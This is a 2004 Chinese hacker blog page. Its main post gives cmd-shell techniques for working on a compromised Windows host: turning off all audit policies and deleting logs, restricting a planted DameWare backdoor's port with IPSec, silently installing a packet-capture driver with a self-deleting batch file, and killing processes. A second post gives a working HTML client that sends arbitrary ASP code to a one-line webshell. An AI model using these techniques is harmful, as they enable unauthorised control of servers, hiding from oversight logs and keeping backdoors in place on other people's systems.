/quiet参数表示“安静模式”,不产生日志。但根据我的试验,在2000sp4下该参数似乎不起作用,XP下正常。日志总是保存在%windir%securitylogsscesrv.log。你也可以自己指定日志以便随后删除它。比如:

secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*

另外,在导入模板前,还可以先分析语法是否正确:

secedit /validate gp.inf

那么,如何知道具体的语法呢?当然到MSDN里找啦。也有偷懒的办法,因为系统自带了一些安全模板在%windir%security emplates目录下。打开这些模板,基本上包含了常用的安全设置语法,一看就懂。

再举个例子——关闭所有的“审核策略”。(它所审核的事件将记录在事件查看器的“安全性”里)。
echo版:

echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Event Audit] >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*

也许有人会说:组策略不是保存在注册表中吗,为什么不直接修改注册表?因为不是所有的组策略都保存在注册表中。比如“审核策略”就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有“管理模板”这一部分是完全基于注册表的。而且,知道了具体位置,用哪个方法都不复杂。

比如,XP和2003的“本地策略”-》“安全选项”增加了一个“本地帐户的共享和安全模式”策略。XP下默认的设置是“仅来宾”。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为“经典”:

echo Windows Registry Editor Version 5.00 >1.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa] >>1.reg
echo "forceguest"=dword:00000000 >>1.reg
regedit /s 1.reg
del 1.reg

而相应的用inf,应该是:

echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Registry Values] >>1.inf
echo MACHINESystemCurrentControlSetControlLsaForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*

关于命令行下读取组策略的问题。
系统默认的安全数据库位于%windir%securitydatabasesecedit.sdb,将它导出至inf文件:

secedit /export /cfg gp.inf /log 1.log

没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。

不过,这样得到的只是组策略的一部分(即“Windows设置”)。而且,某个策略如果未配置,是不会被导出的。比如“重命名系统管理员帐户”,只有被定义了才会在inf文件中出现NewAdministratorName="xxx"。对于无法导出的其他的组策略只有通过访问注册表来获得了。

此办法在XP和2003下无效——可以导出但内容基本是空的。原因不明。根据官方的资料,XP和2003显示组策略用RSoP(组策略结果集)。相应的命令行工具是gpresult。但是,它获得的是在系统启动时被附加(来自域)的组策略,单机测试结果还是“空”。所以,如果想知道某些组策略是否被设置,只有先写一个inf,再用secedit /analyze,然后查看日志了。


网络配置
Windows自带的关于网络的命令行工具很多,比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat,还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh……
这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。前面两种相对简单,本文只介绍两个网络配置工具。

netsh
在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过,很多shell不能再次重定向输出输出,所以不能在这种环境下交互地使用ftp等命令行工具。解决的办法是,一般交互式的工具都允许使用脚本(或者叫应答文件)。比如ftp -s:filename。netsh也是这样:netsh -f filename。

netsh命令的功能非常多,可以配置IAS、DHCP、RAS、WINS、NAT服务器,TCP/IP协议,IPX协议,路由等。我们不是管理员,一般没必要了解这么多,只需用netsh来了解目标主机的网络配置信息。

1,TCP/IP配置

echo interface ip >s
echo show config >>s
netsh -f s
del s

由此你可以了解该主机有多个网卡和IP,是否是动态分配IP(DHCP),内网IP是多少(如果有的话)。
这个命令和ipconfig /all差不多。

注意,以下命令需要目标主机启动remoteaccess服务。如果它被禁用,请先通过导入注册表解禁,然后
net start remoteaccess

2,ARP

echo interface ip >s
echo show ipnet >>s
netsh -f s
del s

这个比arp -a命令多一点信息。

3,TCP/UDP连接

echo interface ip >s
echo show tcpconn >>s
echo show udpconn >>s
netsh -f s
del s

这组命令和netstat -an一样。

4,网卡信息
如果netsh命令都有其他命令可代替,那它还有什么存在的必要呢?下面这个就找不到代替的了。

echo interface ip >s
echo show interface >>s
netsh -f s
del s

netsh的其他功能,比如修改IP,一般没有必要使用(万一改了IP后连不上,就“叫天不应叫地不灵”了),所以全部略过。

IPSec
首先需要指出的是,IPSec和TCP/IP筛选是不同的东西,大家不要混淆了。TCP/IP筛选的功能十分有限,远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。

XP系统用ipseccmd,2000下用ipsecpol。遗憾的是,它们都不是系统自带的。ipseccmd在xp系统安装盘的SUPPORTTOOLSSUPPORT.CAB中,ipsecpol在2000 Resource Kit里。而且,要使用ipsecpol还必须带上另外两个文件:ipsecutil.dll和text2pol.dll。三个文件一共119KB。

IPSec可以通过组策略来控制,但我找遍MSDN,也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以,组策略这条路走不通。IPSec的设置保存在注册表中(HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsIPSecPolicyLocal),理论上可以通过修改注册表来配置IPSec。但很多信息以二进制形式存放,读取和修改都很困难。相比之下,上传命令行工具更方便。

关于ipsecpol和ipseccmd的资料,网上可以找到很多,因此本文就不细说了,只是列举一些实用的例子。
在设置IPSec策略方面,ipseccmd命令的语法和ipsecpol几乎完全一样,所以只以ipsecpol为例:

1,防御rpc-dcom攻击

ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x

这条命令关闭了本地主机的TCP135,139,445和udp135,137,138,445端口。
具体含义如下:
-p myfirewall 指定策略名为myfirewall
-r rpc-dcom 指定规则名为rpc-dcom
-f …… 建立7个筛选器。*表示任何地址(源);0表示本机地址(目标);+表示镜像(双向)筛选。详细语法见ipsecpol -?
-n BLOCK 指定筛选操作是“阻塞”。注意,BLOCK必须是大写。
-w reg 将配置写入注册表,重启后仍有效。
-x 立刻激活该策略。

2,防止被ping

ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x

如果名为myfirewall的策略已存在,则antiping规则将添加至其中。
注意,该规则同时也阻止了该主机ping别人。

3,对后门进行IP限制
假设你在某主机上安装了DameWare Mini Remote Control。为了保护它不被别人暴破密码或溢出,应该限制对其服务端口6129的访问。

ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x

这样就只有123.45.67.89可以访问该主机的6129端口了。
如果你是动态IP,应该根据IP分配的范围设置规则。比如:

ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x

这样就允许123.45.67.1至123.45.67.254的IP访问6129端口。

在写规则的时候,应该特别小心,不要把自己也阻塞了。如果你不确定某个规则的效果是否和预想的一样,可以先用计划任务“留下后路”。例如:

c:>net start schedule
Task Scheduler 服务正在启动 ..
Task Scheduler 服务已经启动成功。

c:>time /t
12:34

c:>at 12:39 ipsecpol -p myfw -y -w reg
新加了一项作业,其作业 ID = 1

然后,你有5分钟时间设置一个myfw策略并测试它。5分钟后计划任务将停止该策略。
如果测试结果不理想,就删除该策略。

c:>ipsecpol -p myfw -o -w reg

注意,删除策略前必须先确保它已停止。不停止它的话,即使删除也会在一段时间内继续生效。持续时间取决于策略的刷新时间,默认是180分钟。

如果测试通过,那么就启用它。

c:>ipsecpol -p myfw -x -w reg

最后说一下查看IPSec策略的办法。
对于XP很简单,一条命令搞定——ipseccmd show filters
而ipsecpol没有查询的功能。需要再用一个命令行工具netdiag。它位于2000系统安装盘的SUPPORTTOOLSSUPPORT.CAB中。(已经上传了三个文件,也就不在乎多一个了。^_^)

netdiag需要RemoteRegistry服务的支持。所以先启动该服务:

net start remoteregistry

不启动RemoteRegistry就会得到一个错误:

[FATAL] Failed to get system information of this machine.

netdiag这个工具功能十分强大,与网络有关的信息都可以获取!不过,输出的信息有时过于详细,超过命令行控制台cmd.exe的输出缓存,而不是每个远程cmd shell都以用more命令来分页的。

查看ipsec策略的命令是:
netdiag /debug /test:ipsec

然后是一长串输出信息。IPSec策略位于最后。


软件安装
一个软件/工具的安装过程,一般来说只是做两件事:拷贝文件到特定目录和修改注册表。只要搞清楚具体的内容,那么就可以自己在命令行下实现了。(不考虑安装后需要注册激活等情况)

WinPcap是个很常用的工具,但必须在窗口界面下安装。在网上也可以找到不用GUI的版本(但还是有版权页),其实我们完全可以自己做一个。

以WinPcap 3.0a 为例。通过比较安装前后的文件系统和注册表快照,很容易了解整个安装过程。
除去反安装的部分,关键的文件有三个:wpcap.dll,packet.dll和npf.sys。前面两个文件位于system32目录下,第三个在system32drivers下。而注册表的变化是增加了一个系统服务NPF。注意,是系统服务(即驱动)不是Win32服务。

作为系统服务,不但要在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices下增加主键,在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumRoot下也增加主键。而后者默认只有SYSTEM身份才可以修改。幸运的是,并不需要手动添加它,winpcap被调用时会自动搞定。甚至完全不用手动修改注册表,所有的事winpcap都会自己完成,只需要将三个文件复制到合适的位置就行了。

作为范例,还是演示一下如何修改注册表:利用前面说过的inf文件来实现。

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=NPF,,winpcap_svr
[winpcap_svr]
DisplayName=Netgroup Packet Filter
ServiceType=0x1
StartType=3
ErrorControl=1
ServiceBinary=%12% pf.sys

将上面这些内容保存为_wpcap_.inf文件。
再写一个批处理_wpcap_.bat:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf
del _wpcap_.inf
if /i %CD%==%SYSTEMROOT%system32 goto COPYDRV
copy packet.dll %SYSTEMROOT%system32
copy wpcap.dll %SYSTEMROOT%system32
del packet.dll
del wpcap.dll
:COPYDRV
if /i %CD%==%SYSTEMROOT%system32drivers goto END
copy npf.sys %SYSTEMROOT%system32drivers
del npf.sys
:END
del %0

然后用winrar将所有文件(5个)打包为自解压的exe,并将『高级自解压选项』->『解压后运行』设置为_wpcap_.bat,命令行的winpcap安装包就制作完成了。

注意,批处理最后一行没有回车符。否则会因为正在运行而无法删除自己。

所有的软件安装,基本上可以套用这个思路。但也有例外的,那就是系统补丁的安装。
由于系统补丁有可能要替换正在被执行或访问的文件,所以用copy命令是不行的。
幸好,Windows补丁包支持命令行安装。
比如:

KB824146.exe -n -z -q

-n 不保留备份
-z 不重起
-q 安静模式

如果有一堆补丁要打,那么用RAR打包成自解压文件,外加一个批处理。

for %%f in (KB??????.exe) do %%f -n -z -q
for %%f in (KB??????.exe) do del %%f
del %0


Windows脚本
很多事用脚本来做是很简洁的。下面给出几个常用脚本的echo版。

1,显示系统版本

@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\. ootcimv2:win32_operatingsystem").instances_ >>ps.vbs
@echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs

2,列举进程

@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\. ootcimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs

3,终止进程

@echo for each ps in getobject _ >pk.vbs
@echo ("winmgmts:\. ootcimv2:win32_process").instances_ >>pk.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs

要终止PID为123的进程,使用如下语法:
cscript pk.vbs 123

如果显示一个0,表示终止成功。

然后:
del pk.vbs

4,重启系统

@echo for each os in getobject _ >rb.vbs
@echo ("winmgmts:{(shutdown)}!\. ootcimv2:win32_operatingsystem").instances_ >>rb.vbs
@echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs

5,列举自启动的服务

@echo for each sc in getobject("winmgmts:\. ootcimv2:win32_service").instances_ >sc.vbs
@echo if sc.startmode="Auto" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

6,列举正在运行的服务

@echo for each sc in getobject("winmgmts:\. ootcimv2:win32_service").instances_ >sc.vbs
@echo if sc.state="Running" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

7,显示系统最后一次启动的时间

@echo for each os in getobject _ >bt.vbs
@echo ("winmgmts:\. ootcimv2:win32_operatingsystem").instances_ >>bt.vbs
@echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs

显示结果的格式是:
yyyymmddHHMMSSxxxxxxZZZZ
_年_月日时分秒_微秒_时区

8,显示系统运行时间

@echo for each os in getobject _ >rt.vbs
@echo ("winmgmts:\. ootcimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs
@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
@echo t=t^&mid(s,i,1):d=t86400:r=r^&d:t=t mod 86400:next >>rt.vbs
@echo wscript.echo cint(r)^&"d "^&t3600^&"h "^&t60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs
cscript //nologo rt.vbs & del rt.vbs

这个运行时间是从性能计数器中获得的64位整型数,不会出现在49.7天后溢出的情况。


附言
cmd shell博大精深,本文挂一漏万讲了一些常用技巧,希望对各位有所帮助。

也许你早知道了这些方法,也许你有更好的方法,希望你能写出来和大家分享。

最后,感谢你耐心看完本文。本人水平有限,错误之处恳请指正。


- 作者: 10wWhy 2004年07月26日, 星期一 04:38  回复(2) |  引用(0) 加入博采

一句话木马客户端发送程序
<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>一句话木马客户端发送程序 - By MonMon</title>
</HEAD>
<BODY style="font-size:9pt">
<FORM method=post name=frm target=_blank>
Address:
<Input name=act size=65 style="Border:1px solid; FONT-SIZE: 9pt" value="http://www.Site.com/URL.asp">
   Parameter:
<Input name=para size=11 style="Border:1px solid; FONT-SIZE: 9pt" value="cmd">
<BR><BR>
Content Send: <input type=Button value="+" onClick="tmpcmd.rows=tmpcmd.rows+1" style="width:20px;height:20px"> <nput type=Button value="-" onClick="if(tmpcmd.rows>1)tmpcmd.rows=tmpcmd.rows-1" style="width:20px;height:20px">
<BR>
<TextArea cols=100 name=tmpcmd rows=10 style="Border:1px solid; FONT-SIZE: 9pt">
for i=1 to 5
response.write i&"<BR>"
next
</TEXTAREA>
<BR><BR>
Attachment Code (Input box name: Attachment): <input type=Button value="+" onClick="Attachment.rows=Attachment.rows+1" style="width:20px;height:20px"> <input type=Button value="-" onClick="if(Attachment.rows>1)Attachment.rows=Attachment.rows-1" style="width:20px;height:20px">
<BR>
<TextArea cols=100 name=Attachment rows=10 style="Border:1px solid; FONT-SIZE: 9pt"></TEXTAREA>
<BR><BR>
<Input name=Send onclick="Javascipt:frm.tmpcmd.name=frm.para.value;frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name='tmpcmd'" type=Button value="Send Script">
</FORM>
</BODY></HTML>

- 作者: 10wWhy 2004年07月26日, 星期一 04:34  回复(2) |  引用(0) 加入博采

关于21EHack的一些不解
关于21EHack的一些不解 今天晚上挺无聊的。到处逛。看到小竹的54NB重开了,呵呵。恭喜恭喜~ 这让我又想到了一个牛人,到处夸口的牛人--21ehack.com的站长:七龙 www.21ehack.com网站URL 打开 没有任何显示,转向地址 http://auto.search.msn.com/respo ... &prov=&utf8 查看源代码: 很清楚了吧?? 先看看URL,是http://auto.search.msn.com/*的吓坏了吧? 这里我随便输入一个不存在的URL。一定不存在的!www.bingo.org这URL本来我想买的,因为是自己的ID嘛。哈哈,算了,没钱我穷! http://auto.search.msn.com/respo ... &prov=&utf8 看来应该是http://auto.search.msn.com/的问题?!! 我们跟一下 http://www.asiamm.com/test/Ads1.htm 看到asiamm.com我就不打算开了,应该是色情的?不知道我没看! 在它里面一共存在两个页: http://www.asiamm.com/test/1t1.asp http://www.asiamm.com/test/1c.asp HTML代码如下: 首先我们来看看http://www.asiamm.com/test/1t1.asp的源码 这个是修改IE首页的,没什么看头。先下载本站(Http://www.hackbase.com)的QQAV来杀死它!www.ok520.com! 这下是http://www.asiamm.com/test/1c.asp了! 上面的HTML代码我不说大家都知道了吧?这里觉得有必要说的是http://*.msn.com 是它!哇KAO,我只能说现在的牛人真是太多了!! 不写了。确实没什么写的。

- 作者: 10wWhy 2004年07月26日, 星期一 04:28  回复(0) |  引用(0) 加入博采